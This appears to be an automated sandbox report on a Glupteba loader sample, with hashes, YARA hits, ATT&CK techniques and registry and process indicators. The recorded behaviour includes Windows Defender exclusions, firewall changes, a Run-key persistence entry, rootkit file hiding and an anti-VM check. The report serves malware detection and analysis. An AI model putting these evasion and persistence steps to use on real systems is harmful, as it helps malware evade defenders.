glupteba | 1aa494bed3c60e98e9f25c40e71f4f709c79d46f00f04dfc2ba09d6e465de172

Analysis

max time kernel
146s
max time network
150s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
23-05-2024 18:56

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General

Target

6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Size

3.9MB
MD5

6bf2156d9758b896d7914a7279ef1493
SHA1

74793ca6a602aae0a81fad7808d63b3d0d5a8070
SHA256

1aa494bed3c60e98e9f25c40e71f4f709c79d46f00f04dfc2ba09d6e465de172
SHA512

3bf97144fb7605682786c01251f29ec0d378e495e65a967179cdfefaa516ce55da0914f515934103779cd9f354454b223bbe48b5243a4fabbb5ff4862c919592
SSDEEP

98304:dmGnePFpOW96HNA0bxKyyfdPfWbTua44/FMyI2S:dmGnePb96tATYbTZ9

Score

10^/10

glupteba discovery dropper evasion loader persistence rootkit trojan

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 19 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2196-2-0x0000000003960000-0x0000000004056000-memory.dmp	family_glupteba
behavioral1/memory/2196-3-0x0000000000400000-0x0000000000B10000-memory.dmp	family_glupteba
behavioral1/memory/2196-7-0x0000000000400000-0x0000000000B10000-memory.dmp	family_glupteba
behavioral1/memory/2196-5-0x0000000003960000-0x0000000004056000-memory.dmp	family_glupteba
behavioral1/memory/2196-4-0x0000000000400000-0x00000000031A2000-memory.dmp	family_glupteba
behavioral1/memory/2808-17-0x0000000000400000-0x00000000031A2000-memory.dmp	family_glupteba
behavioral1/memory/2484-146-0x0000000000400000-0x00000000031A2000-memory.dmp	family_glupteba
behavioral1/memory/2484-266-0x0000000000400000-0x00000000031A2000-memory.dmp	family_glupteba
behavioral1/memory/2484-383-0x0000000000400000-0x00000000031A2000-memory.dmp	family_glupteba
behavioral1/memory/2484-494-0x0000000000400000-0x00000000031A2000-memory.dmp	family_glupteba
behavioral1/memory/2484-495-0x0000000000400000-0x00000000031A2000-memory.dmp	family_glupteba
behavioral1/memory/2484-496-0x0000000000400000-0x00000000031A2000-memory.dmp	family_glupteba
behavioral1/memory/2484-497-0x0000000000400000-0x00000000031A2000-memory.dmp	family_glupteba
behavioral1/memory/2484-498-0x0000000000400000-0x00000000031A2000-memory.dmp	family_glupteba
behavioral1/memory/2484-499-0x0000000000400000-0x00000000031A2000-memory.dmp	family_glupteba
behavioral1/memory/2484-500-0x0000000000400000-0x00000000031A2000-memory.dmp	family_glupteba
behavioral1/memory/2484-501-0x0000000000400000-0x00000000031A2000-memory.dmp	family_glupteba
behavioral1/memory/2484-502-0x0000000000400000-0x00000000031A2000-memory.dmp	family_glupteba
behavioral1/memory/2484-503-0x0000000000400000-0x00000000031A2000-memory.dmp	family_glupteba

Windows security bypass 2 TTPs 12 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\94ed0aed9f65.exe = "0"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe = "0"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\94ed0aed9f65\94ed0aed9f65 = "0"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\ColdWildflower = "0"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

Processes:

netsh.exe

pid	Process
2932	netsh.exe

Executes dropped EXE 3 IoCs

Processes:

csrss.exepatch.exe

pid	Process
2484	csrss.exe
1676	patch.exe
1192

Loads dropped DLL 11 IoCs

Processes:

6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exepatch.exe

pid	Process
2808	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
2808	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
852
1676	patch.exe
1676	patch.exe
1676	patch.exe
1676	patch.exe
1676	patch.exe
1676	patch.exe
1676	patch.exe
1676	patch.exe

Windows security modification 2 TTPs 12 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\ColdWildflower = "0"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\94ed0aed9f65.exe = "0"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe = "0"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\94ed0aed9f65\94ed0aed9f65 = "0"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Windows\CurrentVersion\Run\ColdWildflower = "\"C:\\Windows\\rss\\csrss.exe\""	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Manipulates WinMonFS driver. 1 IoCs

Roottkits write to WinMonFS to hide directories/files from being detected.

rootkit evasion

Processes:

csrss.exe

description	ioc	Process
File opened for modification	\??\WinMonFS	csrss.exe

Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid	Process
292	bcdedit.exe

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

Processes:

6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe

Drops file in Windows directory 3 IoCs

Processes:

makecab.exe6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe

description	ioc	Process
File created	C:\Windows\Logs\CBS\CbsPersist_20240523185656.cab	makecab.exe
File opened for modification	C:\Windows\rss	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
File created	C:\Windows\rss\csrss.exe	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

Processes:

schtasks.exeschtasks.exe

pid	Process
1480	schtasks.exe
1220	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

netsh.exe6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-892 = "Morocco Standard Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-335 = "Jordan Standard Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-582 = "North Asia East Standard Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-21 = "Cape Verde Daylight Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-451 = "Caucasus Daylight Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-422 = "Russian Standard Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-471 = "Ekaterinburg Daylight Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-421 = "Russian Daylight Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-132 = "US Eastern Standard Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-741 = "New Zealand Daylight Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-472 = "Ekaterinburg Standard Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace\Session	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-522 = "N. Central Asia Standard Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time"	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.execsrss.exe

pid	Process
2196	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
2808	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
2484	csrss.exe
2484	csrss.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.execsrss.exe

description	pid	Process
Token: SeDebugPrivilege	2196	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Token: SeImpersonatePrivilege	2196	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
Token: SeSystemEnvironmentPrivilege	2484	csrss.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.execmd.execsrss.exe

description	pid	Process	procid_target
PID 2808 wrote to memory of 2544	2808	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe	33
PID 2808 wrote to memory of 2544	2808	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe	33
PID 2808 wrote to memory of 2544	2808	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe	33
PID 2808 wrote to memory of 2544	2808	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe	33
PID 2544 wrote to memory of 2932	2544	cmd.exe	35
PID 2544 wrote to memory of 2932	2544	cmd.exe	35
PID 2544 wrote to memory of 2932	2544	cmd.exe	35
PID 2808 wrote to memory of 2484	2808	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe	36
PID 2808 wrote to memory of 2484	2808	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe	36
PID 2808 wrote to memory of 2484	2808	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe	36
PID 2808 wrote to memory of 2484	2808	6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe	36
PID 2484 wrote to memory of 292	2484	csrss.exe	47
PID 2484 wrote to memory of 292	2484	csrss.exe	47
PID 2484 wrote to memory of 292	2484	csrss.exe	47
PID 2484 wrote to memory of 292	2484	csrss.exe	47

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
